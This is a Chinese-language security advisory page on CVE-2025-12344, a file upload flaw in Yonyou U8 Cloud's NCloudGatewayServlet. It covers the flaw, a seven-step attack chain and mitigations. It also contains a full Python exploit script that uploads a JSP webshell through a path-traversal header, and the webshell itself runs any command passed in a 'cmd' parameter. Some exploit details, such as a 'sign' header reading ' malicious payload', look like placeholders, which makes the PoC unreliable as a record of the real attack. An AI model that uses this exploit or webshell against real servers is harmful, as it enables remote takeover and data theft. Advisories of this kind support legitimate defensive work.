IPBUF安全漏洞报告
English
CVE-2025-12344 CVSS 6.3 中危

CVE-2025-12344: 用友U8 Cloud NCloudGatewayServlet无限制文件上传漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-12344
漏洞类型
无限制文件上传
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
用友U8 Cloud

相关标签

无限制文件上传用友U8 Cloud远程代码执行NCloudGatewayServletwebshell上传路径穿越中危漏洞CVE-2025-12344

漏洞概述

CVE-2025-12344是用友U8 Cloud产品中存在的一个中危级别安全漏洞。该漏洞位于/service/NCloudGatewayServlet路径的Request Header Handler组件中,攻击者可以通过构造特殊的请求头参数(ts/sign)实现任意文件上传。由于该漏洞可远程利用且不需要高权限认证,攻击者可以在无需用户交互的情况下完成攻击。上传的文件可能包含恶意脚本或后门程序,从而实现远程代码执行、敏感数据窃取或进一步渗透内网系统。该漏洞已公开披露,且厂商用友软件在收到安全通知后未做出任何响应和修复。

技术细节

该漏洞属于无限制文件上传(Unrestricted File Upload)类型。漏洞存在于用友U8 Cloud的NCloudGatewayServlet组件中,该组件负责处理客户端请求头中的ts和sign参数。攻击者可以通过精心构造的HTTP请求,在ts/sign参数中嵌入恶意文件名和文件内容,绕过服务器端的安全校验机制。由于组件未对上传文件的类型、内容和路径进行充分验证,攻击者可以上传任意类型的文件到服务器指定目录。成功利用此漏洞后,攻击者可以上传webshell文件(如jsp、asp、php脚本),进而获得服务器的远程命令执行权限,最终可能导致数据库泄露、应用完全沦陷等严重后果。攻击者通常会上传恶意JSP脚本以获得服务器权限。

攻击链分析

STEP 1
步骤1
攻击者发现目标站点使用用友U8 Cloud,识别出/service/NCloudGatewayServlet端点
STEP 2
步骤2
攻击者构造恶意HTTP POST请求,在请求体中包含webshell文件,文件名为shell.jsp
STEP 3
步骤3
在HTTP请求头中添加恶意的ts/sign参数,利用路径穿越或特殊构造绕过上传限制
STEP 4
步骤4
服务器端NCloudGatewayServlet组件处理请求时未正确校验ts/sign参数和上传文件内容
STEP 5
步骤5
恶意JSP文件被成功上传到服务器webapps/ROOT目录,获得可直接访问的webshell
STEP 6
步骤6
攻击者通过访问上传的shell.jsp并传入cmd参数执行系统命令,实现远程代码执行
STEP 7
步骤7
利用获得的服务器权限进行横向移动,窃取数据库数据、获取管理员凭证等后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12344 PoC - Yonyou U8 Cloud Unrestricted File Upload # Target: /service/NCloudGatewayServlet # Vulnerability: Unrestricted upload via ts/sign parameters def exploit(target_url, webshell_content): """Exploit the unrestricted file upload vulnerability""" # Prepare the malicious file upload files = { 'file': ('shell.jsp', webshell_content, 'application/octet-stream') } # Craft headers with malicious ts/sign parameters headers = { 'User-Agent': 'Mozilla/5.0', 'ts': '../../../../webapps/ROOT/shell.jsp', # Path traversal in parameter 'sign': ' malicious payload' } try: # Send the exploit request response = requests.post( target_url + '/service/NCloudGatewayServlet', files=files, headers=headers, timeout=10 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") # Check if upload was successful if response.status_code == 200: print("[+] File uploaded successfully!") print(f"[+] Access shell at: {target_url}/shell.jsp") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") sys.exit(1) target = sys.argv[1] # JSP webshell content webshell = '''<%@ page import="java.io.*" %> <%@ page import="java.util.*" %> <%@ page import="java.text.*" %> <% String cmd = request.getParameter("cmd"); if(cmd != null) { Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while(disr != null) { out.println(disr); disr = dis.readLine(); } } %>''' exploit(target, webshell)

影响范围

用友U8 Cloud 5.1sp及以下版本

防御指南

临时缓解措施
由于厂商未响应修复请求,建议采取以下临时缓解措施:1) 使用网络层访问控制,限制对/service/NCloudGatewayServlet端点的访问,仅允许受信任的IP访问;2) 在反向代理层配置URL过滤规则,拦截包含路径穿越字符的请求;3) 临时禁用NCloudGatewayServlet组件的服务;4) 加强服务器端文件上传的校验逻辑,对文件扩展名、MIME类型和文件内容进行多重验证;5) 监控WAF和日志中的异常上传行为,及时发现和阻断攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表